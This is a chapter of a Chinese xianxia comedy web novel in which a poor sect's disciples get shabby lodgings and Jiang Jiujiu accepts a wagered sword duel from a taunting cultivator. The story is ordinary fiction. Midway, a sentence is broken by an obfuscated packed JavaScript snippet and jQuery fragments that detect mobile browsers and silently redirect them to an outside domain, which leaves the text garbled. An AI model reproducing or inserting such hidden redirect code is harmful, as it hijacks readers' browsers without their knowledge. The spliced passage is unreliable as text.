默认冷灰
24号文字
方正启体

58.锈剑庄

作者:一只闲小鱼本书字数:K更新时间:
    “凭什么!”


    凌云圣殿内殿,吕不糊又嚎了起来。


    “这是规定。”内殿的仙使淡淡说着。


    三级宗门,没有独立厢房,要和同样等级的宗门挤大通铺。最多是有男女之别,分成两个大通铺罢了。——这是仙盟大赛上未入册的不成文规定。


    江酒酒靠在斑驳的廊柱上,指尖无意识地摩挲着柱身上剥落的金漆,“说是规定,其实就是‘降本增效’。”她无力吐槽,三级宗门不受待见遭人冷眼的事实她在凌云山脚下就领教了。只是没想到这靠近天神众生平等的凌云圣殿也有如此计较。


    她并不是觉得挤大通铺有多糟,只是为一二级宗门没体验过大通铺的魅力而惋惜。


    吕不糊还在跳脚:“我们咸鱼宗再落魄也是正经宗门,凭什么——”


    “就凭你们欠仙盟四千万灵石。”仙使突然打断他,嘴角勾起讥诮弧度,“这就是贵宗的‘正经’之处?当真令人大开眼界。”


    好事不出门,坏事传千里。


    这话像盆冰水浇下来。徐子非一把拽住控制不住扑上去的吕不糊后颈,骨节有力发白。


    “带路。”徐子非声音很轻,却让仙使下意识皱了皱眉,呆滞半分。


    最终,几人几句抱怨,安分跟着仙使去了最偏僻的西厢房。


    穿过雕梁玉璧的回廊,途径一级宗门厢房。朱红廊柱上盘绕着祥云纹饰,两侧屋顶飞檐翘角,白玉瓦在日光下泛着温润的光。空中悬着鎏金风铃,随风轻响,声音清越悠长。


    吕不糊踮着脚往里望了望,独院里甚至能看到整块灵玉雕成的假山,院墙上的藤蔓结着朱果,氤氲的灵气凝成薄雾在庭院中流转。——门厅上挂着金牌,上面方方正正写了“天玄宗”三字。


    “靠。”吕不糊憋不住冒了句脏话。


    “让你闲的。”徐子非直径往里走,眼也不抬,不见即不存在。


    倒是江酒酒一反常态,每个厢房的门口都环绕一遍,将他们的门牌都扒拉了一通。


    “天玄宗”。


    “灵剑冢”。


    “碧霞宫”。


    “无量法门”……


    “道长,怎么一级宗门只有两个?”江酒酒朝领路仙使发问。


    领路仙使瞥她一眼,没回答。


    “这下知道千金殿小鬼的好了。”徐子非幽幽开口,“至少不看人下菜碟。”


    “蒽。”江酒酒幽怨答着。


    “其余各宗想来被安排在了东面。”鹿宣之接话。凌云圣殿之大,大到东西之间,间隔很远。


    “天玄宗和神霄派向来不对付,将他们分开来应该是有意为之。”吕不糊补充。


    “那他们这样安排,是不是也知道我们咸鱼宗和神霄派也不对付?”招娣问。


    吕不糊:“呃……应该不是。”


    吕不糊虽然心大,但好在还是保留了一点自知之明。咸鱼宗和神霄派,就像山雀与苍鹰,人家根本懒得低头看你一眼,目前没有可比性。没人会在意一个三级宗门的是是非非。


    “歪打正着,不用见那些晦气东西,多好。”招娣打了个哈欠。奔波兴奋一天,有些累了,疲惫终于漫了上来。


    西厢房比想象中还远。


    难以想象,不会御剑的话,光是来回的脚程也够难受的。越往西走,殿内装饰越简朴。走过九曲回廊,沿途的装饰从鎏金彩绘渐渐变成素白墙面。等终于抵达时,眼前只剩白墙青瓦的朴素院落,倒是院角那株老梅虬枝盘曲,颇有几分野趣,像是清修之地,自有一番山雾之景


    男女厢房相隔不过十步,中间是片铺着青石板的小院,宗门之间互通往来甚是方便。暮色中,几个陌生修士正在石桌上摆弄棋局,见他们进来,打量一圈也没搭理,想来是其他三级宗门的人。


    告别徐子非一众,江酒酒和招娣在领路仙使的带领下来到了最角落的厢房。仙使甩袖一指,满不在乎:“女厢房满了,你们住这。”


    推门进去,积灰簌簌落下,两人憋不住打了个喷嚏。再往里看去,二十张白玉床榻莹润生辉,倒比想象中敞亮——虽然这些玉料明显是大殿阶梯的边角料拼成的,每块纹理都不太连贯。不过——


    “住的真好!”招娣感叹。第一次见白玉床,女孩眼中竟是稀奇,心觉这可比咸鱼宗的木床稻草高级许多。


    江酒酒倒不以为意,用袖口擦了擦床沿,指腹蹭到层薄灰,转头跑了出去,对准备离开的仙使大喊,“仙使,留步。”


    “这房——”江酒酒最终硬着头皮问了出来,“这间厢房多久没人住了?”其实她是想问多久没打扫了。


    仙使皱着眉,迫不及待抬脚离开这偏僻之地,碍于情面,随意打发了句,“十年吧。”很快,他消失在廊柱尽头。


    江酒酒焊在原地。


    他爹的,又要姐帮忙义务劳动。


    吕不糊的除尘符在鬼市万金铺卖到了两千灵石一张,江酒酒舍不得用,带着招娣敲响了隔壁男寝居的门。


    咚咚咚——


    门开了。


    出乎意料,开门的是位不认识的男修,身着靛青道袍,胸前绣着“百草门”三字。那男修看到江酒酒也一愣。


    最终还是江酒酒开口,“兄弟,找一下咸鱼宗的人。”


    男修恍然大悟,“啊!就是那个拖欠仙盟巨款的宗门!喂——里面几个,有人找!”


    江酒酒倒是有些吃惊,没想到一二级宗门对咸鱼宗闻所未闻,倒是这些仙盟仙使和零星的三级宗门里有人听闻咸鱼宗的“美名”。


    “你知道咸鱼宗?”江酒酒问。


    “害,小女娘,你们宗门拖欠巨款之事,三级宗门无人不知。这不,上月仙盟还把你们宗作为为数不多的经典反面案例大肆普及,甚至传话到了我们长老那儿,告诫所有门派,切勿学习。”修士自顾说着,为准备出来的咸鱼宗三人让出了一条道。


    “哟!我看看是哪家的美娇娘,怎么上凌云山来吃苦!”——最里面传来了一句猖狂轻佻。


    江酒酒一挑眉,将头探了进去。


    说话的是位头戴翠绿抹额的剑修,话音刚落,屋子里传来一阵哄笑。江酒酒打量一圈,这屋子里,穿各种颜色衣服的人都有,看来是各个三级宗门的大杂烩。笑声太大,对门厢房也推开门出来看查看情况——房里是各路宗门的女修士。他们住的比江酒酒和招娣的那间要靠里些。


    “喂。”鹿宣之好意提醒,“别惹她。”


    “怎么?区区一个三级宗门医修还想英雄救美?”那绿色抹额剑修语调更高了,显然没将言外之意听进去。


    鹿宣之再看他的眼神里明显充满怜悯,叹口气,往外面走去。


    “锈剑庄的。”徐子非走到江酒酒面前,朝开门的靛蓝色衣修士点头道谢,“脑袋不大聪明。”


    “看出来了。”江酒酒随口一答,突感寒芒刺背——背后的女修的眼睛都快刺到她后脑勺了。


    “招娣,你管管你哥,初来乍到骚气尽显,开始招蜂引蝶了。”


    “无聊。”徐子非翻个白眼。待鹿宣之吕不糊走了出来,他才问,“何事?”


    “帮我和酒酒姐打扫房间。”招娣瞟了眼对门清一色女修,看着徐子非的脸色充满戒备,没好气地说着。


    “不是打扫好了?怎么还要?”吕不糊挠着脑袋。确实,他们那间一进去就是打扫好了的。


    方才靛青色衣服的修士站在门口没离开,听到他们讨论,开口解释,“往年参加仙盟大赛的三级宗门本就少,长老院通常只会准备几间厢房。今年听闻定天神剑异动,所以参赛的人多了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071872|169235||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    些,你们朋友应该是刚好多了出来,被带去了最偏的地方”。


    难怪。


    “小女娘!叫我一声哥哥我去帮你扫啊!”——门内挑衅又不合时宜传来。屋内起哄声响作一片。


    “这哥们是真不怕死啊。”吕不糊往后退了一步,往徐子非那边贴了贴。


    鹿宣之很巧妙地站在进门的石阶上往一旁的墙上靠去,给江酒酒让路,顺手将靛青色衣服修士往后拉了拉,“兄台,你会为你刚才的善举感谢自己的。”


    江酒酒决计不是什么“好人”,也绝不是忍气吞声的主,她奉行有仇当场报。


    “哥哥?”她嘴角一勾,眼神骤然冷了下来。


    “诶!”——好死不死,里面偏偏答应了。


    气氛顿时有些诡异。


    她走了进去,嘴角划过一丝危险的弧度,不知何时已经逼近他所在的位置,霎时间,寒光出鞘,她反手抽出他背上长剑。右脚一搭一抬,附身逼近。


    冰冷的剑锋紧贴着男修脸庞,轻轻拍了拍,他的脸色顿时浮出一片红印,“你、你——”


    “你知道上一个让我叫哥哥的人是什么下场吗?”江酒酒冷笑,声音却轻柔得像在说情话,“我扒了他的皮,抽了他的筋,砍了他的手臂,割了他的舌头——”


    屋内瞬间鸦雀无声。


    “锈剑庄的是吧?”她缓缓放下剑,环顾一周,看了周边同样带着绿色抹额的青年,“我和这货打一场,可有异议?看看我这句‘哥哥’能不能撑起你的小心脏。”


    “你、你好大的口气!”剑修显然被刚才的气势吓到了,但转念又想,江酒酒出身无名三级宗门,什么抽筋剥皮,肯定都是壮胆说辞,又有何惧,于是不知哪来的胆子,声势又大了起来,“靠!比就比!你要是输了,就在明日的祈福大典上当众大喊三声‘哥哥,我错了’!可敢应战?!”


    江酒酒的眼皮肉眼可见地抽搐一下。


    “他哪来的胆子……”徐子非想到当时在生死场上狄俞的惨状,心有余悸,不知为何,有些可怜这个初出茅庐的小剑修了。


    “口无遮拦就该死!”招娣截断他的话头,没看他,也不知道在气什么。


    倒是里面的江酒酒听到绿抹额剑修的一番宣战,来了兴致,语气轻佻,“好啊,要是你输了,又该如何?”


    “随你处置!”


    四字一落,某人眼睛倏地亮了。


    “要是你输了……”,她慢条斯理地将剑套抵在剑修的额头上,轻轻往上一挑——抹额掉落。


    “我也不占你便宜,看在你和我宗门兄弟同屋相识一场,也算缘分,我们有来有往。明日祈福大殿上就对着一级宗门连名带姓大喊三声他们是‘废物’,如何?”


    好一招祸水东引,屋内瞬间安静如鸡。


    “另外,从今往后,锈剑庄参赛的诸位抬眼闭眼都得叫我们咸鱼宗一声‘老大’,唯老大马首是瞻。可敢赌?”


    绿抹额脸色有些发白,但众目睽睽之下,他硬着头皮道:“行、行啊!我敢啊!但你一个人能代表你们宗门吗?”


    “他能!”门口传来吕不糊的搅和声,“倒是你们锈剑庄可敢应战?”


    “我们应战!”其他几位绿色抹额的剑修相继从人群里走了出来。平日被打压就算了,怎么来到凌云圣殿还要被一个不入流的咸鱼宗挑衅,特别是最后一句的赌约,事关宗门颜面。剑修们一时按耐不住,气不过。


    看见师兄弟们走了出来,那剑修当场有了底气,声音比方才高了几个调,“一言既出,驷马难追!你别吓破了胆当场逃跑!”


    “爽快!”江酒酒嘴角划出一狡黠弧度,她反手一甩,那柄失了手的佩剑铮地钉在地上,“比什么?”


    “比剑。”剑修一丝邪笑,“你敢吗?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)